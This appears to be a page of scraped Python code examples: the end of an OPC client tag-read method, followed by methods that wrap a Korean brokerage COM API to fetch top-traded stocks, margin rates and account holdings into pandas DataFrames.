                    valid_tags = self._group_valid_tags[sub_group]
                    if sync:
                        server_handles = [
                            item.ServerHandle for item in opc_items
                        ]

                tag_value = {}
                tag_quality = {}
                tag_time = {}
                tag_error = {}

                # Sync Read
                if sync:
                    values = []
                    errors = []
                    qualities = []
                    timestamps = []

                    if len(valid_tags) > 0:
                        server_handles.insert(0, 0)

                        if source != 'hybrid':
                            data_source = SOURCE_CACHE if source == 'cache' else SOURCE_DEVICE

                        if self.trace: self.trace('SyncRead(%s)' % data_source)

                        try:
                            values, errors, qualities, timestamps = opc_group.SyncRead(
                                data_source,
                                len(server_handles) - 1, server_handles)
                        except pythoncom.com_error as err:
                            error_msg = 'SyncRead: %s' % self._get_error_str(
                                err)
                            raise OPCError(error_msg)

                        for i, tag in enumerate(valid_tags):
                            tag_value[tag] = values[i]
                            tag_quality[tag] = qualities[i]
                            tag_time[tag] = timestamps[i]
                            tag_error[tag] = errors[i]

                # Async Read
                else:
                    if len(valid_tags) > 0:
                        if self._tx_id >= 0xFFFF:
                            self._tx_id = 0
                        self._tx_id += 1

                        if source != 'hybrid':
                            data_source = SOURCE_CACHE if source == 'cache' else SOURCE_DEVICE

                        if self.trace:
                            self.trace('AsyncRefresh(%s)' % data_source)

                        try:
                            opc_group.AsyncRefresh(data_source, self._tx_id)
                        except pythoncom.com_error as err:
                            error_msg = 'AsyncRefresh: %s' % self._get_error_str(
                                err)
                            raise OPCError(error_msg)

                        tx_id = 0
                        start = time.time() * 1000

                        while tx_id != self._tx_id:
                            now = time.time() * 1000
                            if now - start > timeout:
                                raise TimeoutError(
                                    'Callback: Timeout waiting for data')

                            if self.callback_queue.empty():
                                pythoncom.PumpWaitingMessages()
                            else:
                                tx_id, handles, values, qualities, timestamps = self.callback_queue.get(
                                )

                        for i, h in enumerate(handles):
                            tag = self._group_handles_tag[sub_group][h]
                            tag_value[tag] = values[i]
                            tag_quality[tag] = qualities[i]
                            tag_time[tag] = timestamps[i]

                for tag in tags:
                    if tag in tag_value:
                        if (not sync and len(valid_tags) > 0) or (
                                sync and tag_error[tag] == 0):
                            value = tag_value[tag]
                            if type(value) == pywintypes.TimeType:
                                value = str(value)
                            quality = quality_str(tag_quality[tag])
                            timestamp = str(tag_time[tag])
                        else:
                            value = None
                            quality = 'Error'
                            timestamp = None
                        if include_error:
                            error_msgs[tag] = self._opc.GetErrorString(
                                tag_error[tag]).strip('\r\n')
                    else:
                        value = None
                        quality = 'Error'
                        timestamp = None
                        if tag in include_error and not error_msgs:
                            error_msgs[tag] = ''

                    if single:
                        if include_error:
                            yield (value, quality, timestamp, error_msgs[tag])
                        else:
                            yield (value, quality, timestamp)
                    else:
                        if include_error:
                            yield (tag, value, quality, timestamp,
                                   error_msgs[tag])
                        else:
                            yield (tag, value, quality, timestamp)

                if group == None:
                    try:
                        if not sync and opc_group.Name in self._group_hooks:
                            if self.trace:
                                self.trace('CloseEvents(%s)' % opc_group.Name)
                            self._group_hooks[opc_group.Name].close()

                        if self.trace:
                            self.trace('RemoveGroup(%s)' % opc_group.Name)
                        opc_groups.Remove(opc_group.Name)

                    except pythoncom.com_error as err:
                        error_msg = 'RemoveGroup: %s' % self._get_error_str(
                            err)
                        raise OPCError(error_msg)

        except pythoncom.com_error as err:
            error_msg = 'read: %s' % self._get_error_str(err)
            raise OPCError(error_msg)
Esempio n. 28
0
    def request2_top_trd_amt(self,
                             mkt_gb,
                             dt_gb,
                             jc_num,
                             req_num='1',
                             reverse='0',
                             res_id='t1463'):
        """
        Load top trading amount stocks

        Parameters
        ----------
        :param mkt_gb:
        0: All
        1: KOSPI
        2: KOSDAQ
        :param dt_gb:
        0: today
        1: pday
        :param jc_num: param type = list / stock type not to request
        대상제외값
        (0x00000080)관리종목  => 000000000128
        (0x00000100)시장경보  => 000000000256
        (0x00000200)거래정지  => 000000000512
        (0x00004000)우선주  => 000000016384
        (0x00200000)증거금50  => 000008388608
        (0x01000000)정리매매  => 000016777216
        (0x04000000)투자유의  => 000067108864
        (0x80000000)불성실공시  => -02147483648
        두개 이상 제외시 해당 값을 합산.
        ex)관리종목 + 시장경보 = 000000000128 + 000000000256 = 000000000384
        :param req_num: # of times to request
        ex)
        1: top20
        2: top40
        :param reverse:
        0: descending
        1: ascending
        :param res_id: t1463

        Returns
        -------
        :return:
        gicode
        stk_nm
        volume cumulative trading volume
        value cumulative trading amount
        """
        if type(jc_num) != list:
            print("jc_num should be list type.")
            return None
        elif str(mkt_gb) not in ['0', '1', '2']:
            print("mkt_gb should be in ['0', '1', '2']")
            return None
        elif str(dt_gb) not in ['0', '1']:
            print("dt_gb should be in ['0', '1']")
            return None
        else:
            if str(req_num) == '1':
                result_df = pd.DataFrame(
                    columns=["gicode", "stk_nm", "volume", "value"])

                query = win32com.client.DispatchWithEvents(
                    self._QUERY_NM, RequestSessionEventHandler)
                query.ResFileName = self.res_file_nm.replace("tmpnm", res_id)
                query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                   "gubun", 0, str(mkt_gb))
                query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                   "jnilgubun", 0, str(dt_gb))
                if len(jc_num) == 0:
                    pass
                else:
                    sum_jc_num = sum(jc_num)
                    query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                       "jc_num", 0, str(sum_jc_num))
                query.Request(0)

                while RequestSessionEventHandler.query_state == 0:
                    pythoncom.PumpWaitingMessages()

                count = query.GetBlockCount(
                    self._OUT_BLOCK1.replace("tmpnm", res_id))
                for i in range(count):
                    shcode = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "shcode", i)
                    result_df.loc[i, "gicode"] = shcode
                    hname = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "hname", i)
                    result_df.loc[i, "stk_nm"] = hname
                    volume = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "volume", i)
                    result_df.loc[i, "volume"] = int(volume)
                    value = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "value", i)
                    result_df.loc[i, "value"] = int(value)

                if str(reverse) == '0':
                    result_df["gicode"] = result_df["gicode"].apply(
                        lambda x: 'A' + str(x))
                    result_df.sort(['value'],
                                   ascending=[0],
                                   axis=0,
                                   inplace=True)
                    RequestSessionEventHandler.query_state = 0
                    return result_df

                elif str(reverse) == '1':
                    result_df["gicode"] = result_df["gicode"].apply(
                        lambda x: 'A' + str(x))
                    result_df.sort(['value'],
                                   ascending=[1],
                                   axis=0,
                                   inplace=True)
                    RequestSessionEventHandler.query_state = 0
                    return result_df

            else:
                result_df = pd.DataFrame(
                    columns=["gicode", "stk_nm", "volume", "value"])
                temp_df = pd.DataFrame(
                    columns=["gicode", "stk_nm", "volume", "value"])
                req_cnt = 0

                query = win32com.client.DispatchWithEvents(
                    self._QUERY_NM, RequestSessionEventHandler)
                query.ResFileName = self.res_file_nm.replace("tmpnm", res_id)
                query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                   "gubun", 0, str(mkt_gb))
                query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                   "jnilgubun", 0, str(dt_gb))
                if len(jc_num) == 0:
                    pass
                else:
                    sum_jc_num = sum(jc_num)
                    query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                       "jc_num", 0, str(sum_jc_num))
                query.Request(0)

                while RequestSessionEventHandler.query_state == 0:
                    pythoncom.PumpWaitingMessages()
                req_cnt += 1

                count = query.GetBlockCount(
                    self._OUT_BLOCK1.replace("tmpnm", res_id))
                # idx value for next request
                init_idx = int(
                    query.GetFieldData(
                        self._OUT_BLOCK.replace("tmpnm", res_id), "idx", 0))
                for i in range(count):
                    shcode = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "shcode", i)
                    temp_df.loc[i, "gicode"] = shcode
                    hname = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "hname", i)
                    temp_df.loc[i, "stk_nm"] = hname
                    volume = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "volume", i)
                    temp_df.loc[i, "volume"] = int(volume)
                    value = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "value", i)
                    temp_df.loc[i, "value"] = int(value)
                result_df = result_df.append(temp_df, ignore_index=True)

                # request when the # of data is above 40
                idx = init_idx
                while query.IsNext is True:
                    if req_cnt == int(req_num):
                        break
                    else:
                        RequestSessionEventHandler.query_state = 0
                        query.SetFieldData(
                            self._IN_BLOCK.replace("tmpnm", res_id), "idx", 0,
                            idx)
                        query.Request(1)

                        while RequestSessionEventHandler.query_state == 0:
                            pythoncom.PumpWaitingMessages()

                        # idx value for next request
                        idx2 = int(
                            query.GetFieldData(
                                self._OUT_BLOCK.replace("tmpnm", res_id),
                                "idx", 0))
                        idx += (idx2 - idx)

                        for i in range(count):
                            shcode = query.GetFieldData(
                                self._OUT_BLOCK1.replace("tmpnm", res_id),
                                "shcode", i)
                            temp_df.loc[i, "gicode"] = shcode
                            hname = query.GetFieldData(
                                self._OUT_BLOCK1.replace("tmpnm", res_id),
                                "hname", i)
                            temp_df.loc[i, "stk_nm"] = hname
                            volume = query.GetFieldData(
                                self._OUT_BLOCK1.replace("tmpnm", res_id),
                                "volume", i)
                            temp_df.loc[i, "volume"] = int(volume)
                            value = query.GetFieldData(
                                self._OUT_BLOCK1.replace("tmpnm", res_id),
                                "value", i)
                            temp_df.loc[i, "value"] = int(value)
                        req_cnt += 1
                        if req_cnt % 4 == 0:
                            time.sleep(1)
                        result_df = result_df.append(temp_df,
                                                     ignore_index=True)
                if str(reverse) == '0':
                    result_df.drop_duplicates(["gicode"], inplace=True)
                    result_df["gicode"] = result_df["gicode"].apply(
                        lambda x: 'A' + str(x))
                    result_df.sort(['value'],
                                   ascending=[0],
                                   axis=0,
                                   inplace=True)
                    RequestSessionEventHandler.query_state = 0
                    return result_df

                elif str(reverse) == '1':
                    result_df.drop_duplicates(["gicode"], inplace=True)
                    result_df["gicode"] = result_df["gicode"].apply(
                        lambda x: 'A' + str(x))
                    result_df.sort(['value'],
                                   ascending=[1],
                                   axis=0,
                                   inplace=True)
                    RequestSessionEventHandler.query_state = 0
                    return result_df
Esempio n. 29
0
    def request2_margin(self,
                        mkt_gb="",
                        margin_rate="",
                        credit_gb="",
                        gicode="",
                        res_id="t1411"):
        """
        Load margin rate of stocks

        Parameters
        ----------
        :param mkt_gb:
        0: All
        1:KOSPI
        2:KOSDAQ
        :param margin_rate:
        1) no credit
        100
        20
        30
        40
        50
        2) with credit
        100
        45
        50
        :param credit_gb:
        1: no credit
        2: with credit
        :param gicode: stock code
        :param res_id: t1411

        Returns
        -------
        :return:
        1) gicode not null: outblock
            jkrate
            sjkrate
        2) gicode null: outblock1
        """
        if str(mkt_gb) not in ['0', '1', '2']:
            print("mkt_gb should be in ['0', '1', '2']")
            return None
        elif str(credit_gb) not in ['1', '2']:
            print("credit_gb should be in ['0', '1']")
            return None
        elif (str(credit_gb) == '1') and (str(margin_rate) not in [
                '100', '20', '30', '40', '50'
        ]):
            print("margin_rate should be in ['100', '20', '30', '40', '50']"
                  "for credit_gb '1'")
            return None
        elif (str(credit_gb) == '2') and (str(margin_rate)
                                          not in ['100', '45', '50']):
            print("margin_rate should be in ['100', '45', '50']"
                  "for credit_gb '2'")
            return None
        else:
            if gicode != "":
                result_df = pd.DataFrame(
                    columns=["gicode", "jkrate", "sjkrate"])

                query = win32com.client.DispatchWithEvents(
                    self._QUERY_NM, RequestSessionEventHandler)
                query.ResFileName = self.res_file_nm.replace("tmpnm", res_id)
                query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                   "shcode", 0, str(gicode[1:]))
                query.Request(0)

                while RequestSessionEventHandler.query_state == 0:
                    pythoncom.PumpWaitingMessages()

                jkrate = query.GetFieldData(
                    self._OUT_BLOCK.replace("tmpnm", res_id), "jkrate", 0)
                sjkrate = query.GetFieldData(
                    self._OUT_BLOCK.replace("tmpnm", res_id), "sjkrate", 0)

                result_df.loc[0, "gicode"] = gicode
                result_df.loc[0, "jkrate"] = jkrate
                result_df.loc[0, "sjkrate"] = sjkrate
                RequestSessionEventHandler.query_state = 0

                return result_df

            else:
                result_df = pd.DataFrame(
                    columns=["gicode", "stk_nm", "jkrate", "sjkrate"])
                temp_df = pd.DataFrame(
                    columns=["gicode", "stk_nm", "jkrate", "sjkrate"])

                query = win32com.client.DispatchWithEvents(
                    self._QUERY_NM, RequestSessionEventHandler)
                query.ResFileName = self.res_file_nm.replace("tmpnm", res_id)
                query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                   "gubun", 0, str(mkt_gb))
                query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                   "jkrate", 0,
                                   str(margin_rate) + "%")
                query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                   "jongchk", 0, str(credit_gb))
                query.Request(0)

                while RequestSessionEventHandler.query_state == 0:
                    pythoncom.PumpWaitingMessages()

                count = query.GetBlockCount(
                    self._OUT_BLOCK1.replace("tmpnm", res_id))
                # idx value for next request
                init_idx = int(
                    query.GetFieldData(
                        self._OUT_BLOCK.replace("tmpnm", res_id), "idx", 0))

                for i in range(count):
                    shcode = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "shcode", i)
                    temp_df.loc[i, "gicode"] = shcode
                    hname = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "hname", i)
                    temp_df.loc[i, "stk_nm"] = hname
                    jkrate = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "jkrate", i)
                    temp_df.loc[i, "jkrate"] = jkrate
                    sjkrate = query.GetFieldData(
                        self._OUT_BLOCK1.replace("tmpnm", res_id), "sjkrate",
                        i)
                    temp_df.loc[i, "sjkrate"] = sjkrate
                result_df = result_df.append(temp_df, ignore_index=True)

                # request when the # of data is above 40
                idx = init_idx
                req_cnt = 0
                while query.IsNext is True:
                    RequestSessionEventHandler.query_state = 0
                    query.SetFieldData(self._IN_BLOCK.replace("tmpnm", res_id),
                                       "idx", 0, idx)
                    query.Request(1)
                    req_cnt += 1

                    while RequestSessionEventHandler.query_state == 0:
                        pythoncom.PumpWaitingMessages()

                    # idx value for next request
                    idx2 = int(
                        query.GetFieldData(
                            self._OUT_BLOCK.replace("tmpnm", res_id), "idx",
                            0))
                    idx += (idx2 - idx)

                    for i in range(count):
                        shcode = query.GetFieldData(
                            self._OUT_BLOCK1.replace("tmpnm", res_id),
                            "shcode", i)
                        temp_df.loc[i, "gicode"] = shcode
                        hname = query.GetFieldData(
                            self._OUT_BLOCK1.replace("tmpnm", res_id), "hname",
                            i)
                        temp_df.loc[i, "stk_nm"] = hname
                        jkrate = query.GetFieldData(
                            self._OUT_BLOCK1.replace("tmpnm", res_id),
                            "jkrate", i)
                        temp_df.loc[i, "jkrate"] = jkrate
                        sjkrate = query.GetFieldData(
                            self._OUT_BLOCK1.replace("tmpnm", res_id),
                            "sjkrate", i)
                        temp_df.loc[i, "sjkrate"] = sjkrate
                    if req_cnt % 4 == 0:
                        time.sleep(1)
                    result_df = result_df.append(temp_df, ignore_index=True)

                result_df.drop_duplicates(["gicode"], inplace=True)
                result_df["gicode"] = result_df["gicode"].apply(
                    lambda x: 'A' + str(x))
                result_df.reset_index(drop=True, inplace=True)
                result_df.drop(result_df.index[[len(result_df) - 1]],
                               inplace=True)
                RequestSessionEventHandler.query_state = 0
                return result_df
Esempio n. 30
0
    def request2_account_result(self,
                                account_num="",
                                order_pw="",
                                balance_gb="0",
                                fee_gb="0",
                                d2_gb="0",
                                prc_gb="0",
                                res_id="CSPAQ12300"):
        """
        Load info about an account such as stock list, average buy price etc.

        Parameters
        ----------
        :param account_num: 계좌번호
        :param order_pw: 계좌비밀번호
        :param balance_gb: 잔고구분
        0: 전체
        1: 현물
        9: 선물대용
        :param fee_gb: 수수료구분
        0: 평가시 수수료 미적용
        1: 평가시 수수료 적용
        :param d2_gb: D+2 잔고보유 구분
        0: 전부조회
        1: D2잔고 0이상만 조회
        :param prc_gb: 단가구분
        0: 평균단가
        1: BEP단가
        :param res_id: CSPAQ12300

        Returns
        -------
        :return: Load info about an account
        IsuNo       종목코드
        IsuNm       종목명
        BalQty      잔고수량
        PnlRat      손익률
        AvrUprc     평균단가
        SellAbleQty 매도가능수량
        EvalPn      평가손익
        """
        final_df = pd.DataFrame(columns=[
            "IsuNo", "IsuNm", "BalQty", "PnlRat", "AvrUprc", "SellAbleQty",
            "EvalPnl"
        ])
        account_df = pd.DataFrame(columns=[
            "IsuNo", "IsuNm", "BalQty", "PnlRat", "AvrUprc", "SellAbleQty",
            "EvalPnl"
        ])

        query = win32com.client.DispatchWithEvents(self._QUERY_NM,
                                                   RequestSessionEventHandler)
        query.ResFileName = self.res_file_nm.replace("tmpnm", res_id)
        query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id), "AcntNo",
                           0, str(account_num))
        query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id), "Pwd", 0,
                           str(order_pw))
        query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id),
                           "BalCreTp", 0, str(balance_gb))
        query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id),
                           "CmsnAppTpCode", 0, str(fee_gb))
        query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id),
                           "D2balBaseQryTp", 0, str(d2_gb))
        query.SetFieldData(self._IN_BLOCK1.replace("tmpnm", res_id),
                           "UprcTpCode", 0, str(prc_gb))
        query.Request(0)

        while RequestSessionEventHandler.query_state == 0:
            pythoncom.PumpWaitingMessages()

        count = query.GetBlockCount(self._OUT_BLOCK3.replace("tmpnm", res_id))
        for i in range(count):
            IsuNo = query.GetFieldData(
                self._OUT_BLOCK3.replace("tmpnm", res_id), "IsuNo", i)
            account_df.loc[i, "IsuNo"] = IsuNo
            IsuNm = query.GetFieldData(
                self._OUT_BLOCK3.replace("tmpnm", res_id), "IsuNm", i)
            account_df.loc[i, "IsuNm"] = IsuNm
            BalQty = query.GetFieldData(
                self._OUT_BLOCK3.replace("tmpnm", res_id), "BalQty", i)
            account_df.loc[i, "BalQty"] = BalQty
            PnlRat = query.GetFieldData(
                self._OUT_BLOCK3.replace("tmpnm", res_id), "PnlRat", i)
            account_df.loc[i, "PnlRat"] = PnlRat
            AvrUprc = query.GetFieldData(
                self._OUT_BLOCK3.replace("tmpnm", res_id), "AvrUprc", i)
            account_df.loc[i, "AvrUprc"] = AvrUprc
            SellAbleQty = query.GetFieldData(
                self._OUT_BLOCK3.replace("tmpnm", res_id), "SellAbleQty", i)
            account_df.loc[i, "SellAbleQty"] = SellAbleQty
            EvalPnl = query.GetFieldData(
                self._OUT_BLOCK3.replace("tmpnm", res_id), "EvalPnl", i)
            account_df.loc[i, "EvalPnl"] = EvalPnl
        final_df = final_df.append(account_df, ignore_index=True)

        # request when the # of data is above 10
        while query.IsNext is True:
            RequestSessionEventHandler.query_state = 0
            query.Request(1)

            while RequestSessionEventHandler.query_state == 0:
                pythoncom.PumpWaitingMessages()

            for i in range(count):
                IsuNo = query.GetFieldData(
                    self._OUT_BLOCK3.replace("tmpnm", res_id), "IsuNo", i)
                account_df.loc[i, "IsuNo"] = IsuNo
                IsuNm = query.GetFieldData(
                    self._OUT_BLOCK3.replace("tmpnm", res_id), "IsuNm", i)
                account_df.loc[i, "IsuNm"] = IsuNm
                BalQty = query.GetFieldData(
                    self._OUT_BLOCK3.replace("tmpnm", res_id), "BalQty", i)
                account_df.loc[i, "BalQty"] = BalQty
                PnlRat = query.GetFieldData(
                    self._OUT_BLOCK3.replace("tmpnm", res_id), "PnlRat", i)
                account_df.loc[i, "PnlRat"] = PnlRat
                AvrUprc = query.GetFieldData(
                    self._OUT_BLOCK3.replace("tmpnm", res_id), "AvrUprc", i)
                account_df.loc[i, "AvrUprc"] = AvrUprc
                SellAbleQty = query.GetFieldData(
                    self._OUT_BLOCK3.replace("tmpnm", res_id), "SellAbleQty",
                    i)
                account_df.loc[i, "SellAbleQty"] = SellAbleQty
                EvalPnl = query.GetFieldData(
                    self._OUT_BLOCK3.replace("tmpnm", res_id), "EvalPnl", i)
                account_df.loc[i, "EvalPnl"] = EvalPnl
            final_df = final_df.append(account_df, ignore_index=True)

        final_df = final_df[final_df["IsuNo"] != ""]
        RequestSessionEventHandler.query_state = 0
        return final_df